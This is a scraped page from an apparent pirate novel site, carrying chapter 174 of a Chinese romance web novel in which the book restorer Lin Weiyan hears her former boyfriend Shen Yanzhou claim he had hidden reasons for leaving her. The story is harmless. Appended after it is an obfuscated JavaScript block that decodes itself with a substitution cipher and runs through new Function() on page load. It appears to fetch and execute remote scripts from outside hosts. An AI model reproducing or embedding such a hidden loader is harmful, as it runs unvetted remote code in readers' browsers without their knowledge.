首页
第0174章 旧袖扣藏半生憾
返回
关灯 护眼:关 字号:小

第0174章 旧袖扣藏半生憾 欲语苦衷意难平

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    第0174章旧袖扣藏半生憾欲语苦衷意难平(第1/2页)
    暮春的雨,总是缠缠绵绵,下得没个尽头。
    细密的雨丝像一层轻薄的纱,笼罩着整条书脊巷,青石板路被雨水浸润得发亮,泛着温润的柔光,巷子里飘着淡淡的墨香、旧书页的霉香,还有街边老槐树被雨水打湿后的清冽气息,混着家家户户飘出的饭菜香,是独属于这条老巷的、安稳又治愈的烟火气。
    林微言的古籍修复工作室,就在巷子深处的老院子里。
    小院是祖辈传下来的,青砖灰瓦,庭院里种着几株兰草,角落摆着老旧的木桌木椅,雨水落在屋檐上,汇成细细的水流,滴答滴答地落在青石板上,声音清脆又安静,恰好衬得室内愈发静谧。
    她坐在靠窗的工作台前,手里拿着一把细如发丝的竹起子,正小心翼翼地修复着一本清代的线装书。
    书页泛黄发脆,边角磨损严重,还有多处虫蛀的破洞,稍一用力就可能彻底损毁。林微言眉眼低垂,神情专注而温柔,指尖动作轻缓又沉稳,每一个步骤都做得极致用心,仿佛手中捧着的,不是一本陈旧的古籍,而是世间最珍贵的宝物。
    阳光透过雨雾,透过雕花木窗,细碎地洒在她的发顶、肩头,给她周身镀上了一层柔和的光晕。她穿着一身素色棉麻长裙,长发简单挽起,露出纤细白皙的脖颈,侧脸线条温婉柔和,沉静得像一幅淡墨山水画,不染半点都市的喧嚣与浮躁。
    这是她五年来,日复一日的生活。
    守着这条老巷,守着一屋子的旧书,守着自己的古籍修复事业,将自己封闭在过往的回忆里,不与人深交,不触碰感情,安安静静,波澜不惊。
    她以为,自己会一直这样过下去,将五年前那段刻骨铭心的感情,彻底尘封在心底,再也不去触碰,再也不去想起。
    可沈砚舟的出现,就像一颗投入平静湖面的石子,彻底打破了她生活的所有秩序,让她尘封多年的心湖,再次泛起圈圈涟漪,再也无法归于平静。
    从雨雾中那场猝不及防的重逢,到他以修复古籍为由,一次次出现在她面前,刻意接近,耐心试探,不过短短数月,却将她五年的平静生活,搅得天翻地覆。
    林微言轻轻叹了口气,手中的动作不自觉地顿了顿,思绪不由自主地飘远,想起了这些天和沈砚舟相处的点点滴滴。
    他总是来得恰到好处,不会过分打扰,却又总能在她需要的时候出现。
    她工作室的兰草枯了,他第二天就带着新的花苗和养花工具,默默帮她打理好庭院;她修复古籍遇到难题,查阅资料无果,他会不动声色地将相关的专业书籍,放在她工作室的门口;她雨天出门不方便,他的车总会恰好停在巷口,不说刻意接送,只说“顺路”。
    他变了很多。
    五年前的他,虽是法学院的风云人物,意气风发,锋芒毕露,却也有着少年人的青涩与张扬,看向她时,眼底是毫不掩饰的炽热与欢喜,会直白地表达自己的心意,会牵着她的手,走遍大学的每一个角落,会把所有的温柔都给她。
    而如今的沈砚舟,褪去了少年人的青涩,变得沉稳、内敛、冷峻,周身透着久经职场的凌厉与疏离,是律政界声名赫赫的顶尖合伙人,是旁人眼中高不可攀的存在。
    可唯独面对她时,他眼底的凌厉会尽数褪去,只剩下化不开的温柔、隐忍,还有深深的愧疚与小心翼翼。
    他从不刻意逼迫她忘记过去,也从不急切地想要和她重新开始,只是默默陪在她身边,用行动一点点靠近,一点点弥补,一点点撬开她封闭已久的心门。
    尤其是昨天,她在他车里,无意间看到那枚袖扣时,心底的防线,彻底崩塌了一角。
    那是一枚样式简单的银色袖扣,边缘已经有些磨损,看得出有些年头了。
    那是五年前,她省吃俭用,用自己兼职攒下的钱,给他买的二十岁生日礼物。
    那时她还说,他以后要当律师,要穿正装,佩戴袖扣,会格外好看。
    他当时欣喜若狂,宝贝似的收着,平日里舍不得戴,只有在重要场合,才会小心翼翼地拿出来戴上。
    后来他们分手,她以为,这枚袖扣,早就被他丢弃了。
    毕竟,当年他走得那么决绝,那么干脆,一句话“我们不合适,分手吧”,就斩断了所有情分,不留一丝余地,让她在无数个深夜里,独自崩溃,独自疗伤,用了整整五年的时间,才勉强将那段伤痛封存。
    可她没想到,五年过去,他竟然还保留着这枚袖扣,好好地收在车里,视若珍宝。
    就在她看到袖扣的那一刻,过往的回忆,如同潮水般汹涌而至,席卷了她所有的理智。
    图书馆里,他低头为她讲解习题,阳光落在他挺拔的侧脸上,温柔得不像话;潘家园的旧书摊前,他牵着她的手,耐心地陪她一本一本淘书,为她寻来心心念念的《花间集》;校园的老槐树下,他抱着她,轻声许诺,说毕业以后就娶她,要给她一辈子的安稳与幸福。
    那些甜蜜的、温暖的、美好的过往,和当年他决绝转身的背影,不断在她脑海中交织、重叠,让她心痛,让她纠结,让她再也无法自欺欺人地告诉自己,她已经放下了。
    她其实从来都没有放下过。
    这个叫沈砚舟的男人,早已深深扎根在她的心底,融入她的骨血,成为她生命中,无法抹去的一部分。
    这五年,她看似平静无波,实则不过是在强行伪装,把所有的思念与伤痛,都藏在无人知晓的心底深处,日夜煎熬。
    她抗拒他的靠近,不是因为不爱,而是因为不敢。
    她怕再次付出真心,换来的又是一次彻头彻尾的伤害;她怕再次陷入那段感情,最后还是落得一个遍体鳞伤的下场;她怕五年的伤痛,再次重演,让她再也没有力气爬起来。
    “唉……”
    林微言又轻轻叹了口气,回过神,压下心底翻涌的情绪,强迫自己集中注意力,继续手中的修复工作。
    可心绪杂乱,指尖的动作,终究是慢了许多,也失了往日的沉稳。
    就在这时,小院的木门,被轻轻敲响。
    “笃,笃,笃。”
    敲门声很轻,很有分寸,不会显得突兀,也不会让人觉得被打扰。
    林微言指尖一顿,不用想,也知道门外的人是谁。
    除了沈砚舟,不会有人,在这样的雨天,这样安静地敲开她的院门。
    她沉默了片刻,没有立刻起身,心底隐隐有些抗拒,却又带着一丝连自己都未曾察觉的期待。
    这份矛盾的情绪,让她愈发烦躁。
    敲门声再次响起,依旧温和。
    林微言深吸一口气,缓缓放下手中的竹起子,擦拭干净指尖,起身朝着院门走去。
    推开院门,果不其然,沈砚舟站在门外。
    细密的雨丝,打湿了他的发梢,几滴雨水顺着他轮廓分明的侧脸滑落,他穿着一身深色西装,身姿挺拔,周身透着冷峻的气场,明明是凌厉不好接近的模样,可看向她的眼神,却依旧温柔得能滴出水来。
    他手里拿着一把黑色的雨伞,另一只手,提着一个精致的食盒,站在雨幕中,静静地看着她,眼底盛满了她的身影,仿佛这世间万物,都入不了他的眼,唯有她,是他唯一的牵挂。
    “你怎么来了?”
    林微言开口,声音有些沙哑,语气里带着一丝不易察觉的疏离,下意识地想要关上院门。
    沈砚舟却抢先一步,轻轻抵住门板,没有强行闯入,只是看着她,声音低沉温柔,带着小心翼翼的试探:“微言,我没有打扰你工作吧?”
    “我知道你喜欢吃巷口那家糖水铺的红豆沙,雨天喝一碗,身子暖和,就顺路买了一点,给你送过来。”
    他说着,将手中的食盒,轻轻递到她面前。
    食盒是保温的,隔着一层盒子,都能闻到淡淡的红豆沙香甜的气息,在这微凉的雨天,格外暖心。
    林微言看着他递过来的食盒,又看了看他眼底的温柔与小心翼翼,心底的情绪,再次翻涌起来。
    拒绝的话,到了嘴边,却怎么也说不出口。
    这些天,他总是这样,不动声色地关心她,照顾她,记得她所有的喜好,在意她所有的情绪,细致入微,温柔体贴,从未有过半分强迫。
    她若是一次次狠心拒绝,反倒显得自己太过刻意,太过不近人情。
    沉默了片刻,林微言终究是接过了食盒,指尖不经意间,触碰到他的指尖,他的指尖微凉,却带着一股清晰的触感,让她的心跳,莫名漏了一拍。
    她连忙收回手,避开他的目光,语气平淡,听不出太多情绪:“谢谢,麻烦你了。”
    “不麻烦。”
    沈砚舟看着她,眼底的温柔,又浓了几分,目光落在她略显苍白的脸上,带着一丝不易察觉的心疼,“看你脸色不太好,是不是最近修复古籍,太累了?”
    “我没事。”林微言低下头,避开他的视线,轻声回应,“要是没别的事,我就先回去工作了。”
    她说着,就要关上院门,想要逃离这份让她心慌的氛围。
    “微言。”
    沈砚舟却突然开口,叫住了她,声音低沉,带着一丝隐忍,一丝犹豫,还有一丝难以言说的沉重。
    林微言关门的动作,顿住了。
    她没有回头,却能清晰地感受到,身后沈砚舟的目光,紧紧落在她的身上,带着千言万语,带着复杂难言的情绪。
    小院里一片安静,只有屋檐滴落的雨水声,滴答作响,还有两人之间,无声蔓延的、压抑又沉重的氛围。
    (本章未完,请点击下一页继续阅读)第0174章旧袖扣藏半生憾欲语苦衷意难平(第2/2页)
    过了许久,沈砚舟才缓缓开口,声音低沉而沙哑,带着一丝连他自己都未曾察觉的颤抖。
    “微言,五年前……”
    他顿了顿,似乎在斟酌着词句,又似乎是在压抑着心底翻涌的情绪,每一个字,都说得无比艰难。
    “五年前,我和你分手,不是你想的那样,我有我的苦衷。”
    终于,还是说出了这句话。
    简单的一句话,却仿佛耗尽了沈砚舟所有的力气。
    这些天,他一直小心翼翼,不敢轻易提及过往,不敢轻易说出当年的苦衷,怕吓到她,怕逼得她彻底退缩,彻底将他推开。
    可看着她日复一日的纠结、挣扎,看着她明明在意,却又强行伪装冷漠的模样,他心疼不已,再也忍不住,想要告诉她真相,想要让她知道,他当年的决绝与狠心,背后藏着多少无奈与痛苦,藏着多少不为人知的挣扎与煎熬。
    林微言的身子,猛地一僵。
    握着门框的手指,瞬间收紧,指节泛白,指尖因为用力,微微颤抖。
    心底,仿佛被什么东西狠狠击中,一阵尖锐的疼痛,瞬间蔓延至四肢百骸。
    苦衷。
    他说,他有苦衷。
    五年了,整整五年。
    她在这段失败的感情里,痛苦了五年,挣扎了五年,自我怀疑了五年。
    她无数次问自己,当年到底是哪里做得不好,为什么他会那么决绝的抛弃她;无数次回忆过往的细节,想要找出他变心的痕迹;无数次在深夜里崩溃大哭,恨他的绝情,恨他的背叛,也恨自己的放不下。
    可她从来没有想过,他当年的分手,竟然是有苦衷的。
    一时间,震惊、疑惑、茫然、心痛……各种复杂的情绪,交织在一起,充斥着她的心脏,让她几乎喘不过气来。
    她缓缓转过身,抬头看向沈砚舟,眼底满是复杂,有震惊,有疑惑,有茫然,还有一丝不易察觉的期待与脆弱。
    雨水打湿的发梢,贴在她的脸颊上,显得她愈发单薄,愈发让人心疼。
    “苦衷?”
    林微言开口,声音颤抖,带着一丝难以置信,一丝沙哑,“沈砚舟,你到现在,还要用苦衷来搪塞我吗?”
    “当年,你亲口说,我们不合适,你要分手,你转身就走,没有一丝留恋,没有一丝解释,消失得干干净净。”
    “五年,我用了五年的时间,才慢慢平复伤口,才慢慢接受你不爱我、你背叛了我的事实。现在你告诉我,你有苦衷?”
    她的语气,带着一丝委屈,一丝质问,还有一丝被压抑多年的痛苦。
    说着说着,眼眶不自觉地泛红,水汽氤氲了双眼,视线渐渐模糊。
    这些年的委屈,这些年的痛苦,这些年的自我折磨,在听到“苦衷”这两个字的时候,瞬间涌上心头,让她再也无法保持平静。
    看着她泛红的眼眶,看着她颤抖的身躯,看着她眼底的委屈与痛苦,沈砚舟的心,像是被一只无形的手狠狠揪住,疼得无以复加。
    他多想上前,紧紧抱住她,把她拥入怀中,安抚她所有的委屈与伤痛,告诉她所有的真相。
    可他不敢。
    他怕自己的靠近,会让她更加激动,会让她更加抗拒;他怕现在的自己,还没有足够的证据,还没有彻底理清一切,无法让她完全相信;他怕自己再次伤害到她,让她本就脆弱的心,再次破碎。
    沈砚舟紧紧攥起拳头,指尖深深嵌入掌心,用疼痛压制着心底的冲动与心疼,眼底满是愧疚与隐忍,声音沙哑得厉害。
    “我知道,现在我说什么,都显得很苍白,我知道,我伤害了你,让你承受了五年的痛苦,是我对不起你。”
    “我没有搪塞你,我没有必要拿这种事骗你。微言,我从来没有不爱你,从来没有背叛过你,当年的分手,是我别无选择,是我不得不做的决定。”
    “我知道,五年的时间,让你受了太多的苦,是我亏欠你的,我这辈子,都偿还不清。”
    “我现在不想逼你立刻原谅我,也不想逼你立刻相信我,我只是想告诉你,事情不是你看到的那样,不是你想的那样。”
    “再给我一点时间,等我把所有事情都理清,把所有证据都摆在你面前,我会把当年所有的事情,所有的苦衷,一字不差,全部告诉你。”
    他的语气,无比真诚,无比坚定,眼底的愧疚与心疼,毫不掩饰,字字句句,都戳中林微言的心底。
    林微言看着他,看着他眼底真切的痛苦与愧疚,看着他隐忍又深情的模样,心底的防线,一点点崩塌。
    她愿意相信,他没有骗她。
    这么多年的感情,她了解他,他不是那种会随意拿感情开玩笑,会用谎言来搪塞的人。
    如果不是真的走投无路,如果不是真的有难言之隐,他当年,绝不会那么决绝,绝不会舍得那样伤害她。
    这么多年,她心底一直残存着一丝执念,一丝不甘,她始终不愿意相信,曾经那么爱她的沈砚舟,会真的毫无缘由地背叛她,抛弃她。
    而现在,他的一句“有苦衷”,恰好印证了她心底那一丝微不足道的期待。
    原来,不是他不爱了,不是他背叛了,而是他有苦衷,是他别无选择。
    这个认知,让林微言积攒了五年的委屈与痛苦,瞬间找到了宣泄的出口,眼泪再也忍不住,顺着脸颊,缓缓滑落。
    不是悲伤,不是怨恨,而是夹杂着释然、委屈、心疼、纠结的复杂泪水。
    她心疼他,当年到底承受了怎样的压力,怎样的痛苦,才会选择用这样决绝的方式,推开自己最爱的人;她心疼他,一个人扛下所有,独自承受了五年的煎熬与思念;她也心疼自己,这五年的自我折磨与痛苦挣扎。
    沈砚舟看着她落泪,心脏像是被狠狠撕裂,疼得无法呼吸,他再也忍不住,上前一步,想要伸手擦拭她的眼泪,却又在靠近的瞬间,硬生生顿住,收回了手,眼底满是克制与心疼。
    “别哭,微言,对不起,都是我的错,你别哭……”
    他手足无措,语气慌乱,平日里在法庭上叱咤风云、言辞犀利的顶尖律师,此刻在心爱的女人面前,却变得笨拙不堪,只会一遍遍地说着对不起。
    林微言没有说话,只是默默地流着泪,任由心底的情绪肆意宣泄。
    雨还在下,屋檐的水滴,滴答作响,小院里,气氛压抑又复杂,却又带着一丝隐忍的温情。
    过了许久,林微言才慢慢平复情绪,擦干脸上的泪水,抬起头,看向沈砚舟,眼底依旧带着水汽,却多了几分复杂的坚定。
    “沈砚舟,你说你有苦衷,我可以暂且信你。”
    她开口,声音依旧有些沙哑,却多了几分平静,“我可以给你一个机会,等你拿出证据,等你告诉我所有的真相。”
    “但是,在那之前,不要逼我做任何决定,不要逼我立刻原谅你,我们就这样,保持距离,好不好?”
    她需要时间,去消化这个突如其来的消息,去理清自己的情绪,去接受当年的一切,并非是她所想的背叛与绝情。
    沈砚舟看着她,眼底瞬间闪过一丝惊喜,一丝动容,连忙点头,语气无比郑重:“好,我答应你,都听你的。”
    “我不逼你,我等你,多久我都等。”
    只要她愿意相信他,愿意给他一个解释的机会,愿意给他一个弥补的机会,不管等多久,他都心甘情愿。
    五年他都等过来了,再多的时间,他都不怕。
    林微言看着他,没有再说话,轻轻关上了院门,将自己隔在小院之内,也将那份复杂的情绪,暂时隔在了门外。
    靠在门板上,她缓缓闭上双眼,泪水再次无声滑落。
    沈砚舟站在门外,听着门内渐渐平息的动静,久久没有离去。
    他握着拳,眼底满是坚定。
    微言,再等我一下,等我把所有的真相都告诉你,等我弥补所有的亏欠,这一次,我再也不会放开你的手,再也不会让你受半点委屈。
    雨丝依旧缠绵,书脊巷的烟火气,依旧温暖治愈。
    藏在旧袖扣里的遗憾,埋在五年时光里的苦衷,终于要一点点浮出水面。
    林微言与沈砚舟之间,横亘了五年的误会与伤痛,终于要迎来解开的契机。
    而这段错过又重逢的感情,也将在真相与和解的路上,慢慢重新升温。
    有些爱,历经岁月沉淀,历经风雨磨难,终究不会被磨灭。
    就像旧书历经时光,依旧能被精心修复,他们之间的感情,也终能跨过五年的隔阂与伤痛,重新迎来属于他们的,温暖与圆满。
    林微言回到工作台前,看着桌上温热的红豆沙,又想起沈砚舟眼底的隐忍与深情,心底百感交集。
    她拿起勺子,轻轻舀起一口红豆沙,甜而不腻的暖意,滑入喉间,却甜不进心底,反倒带着一丝淡淡的酸涩。
    五年的时光,终究是留下了太深的伤痕。
    真相究竟是什么,他当年到底有着怎样的苦衷,一切都是未知。
    而她能做的,就是静下心来,等待真相,也等待自己内心,真正的释然与接纳。
    窗外的雨,渐渐小了,阳光透过雨雾,洒下细碎的光芒,落在老旧的书页上,落在她沉静的脸庞上,温暖而柔和。
    属于他们的故事,还在继续,那些藏在时光里的遗憾与苦衷,终将被一一揭开,迎来最终的和解与圆满。
    (本章完)
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();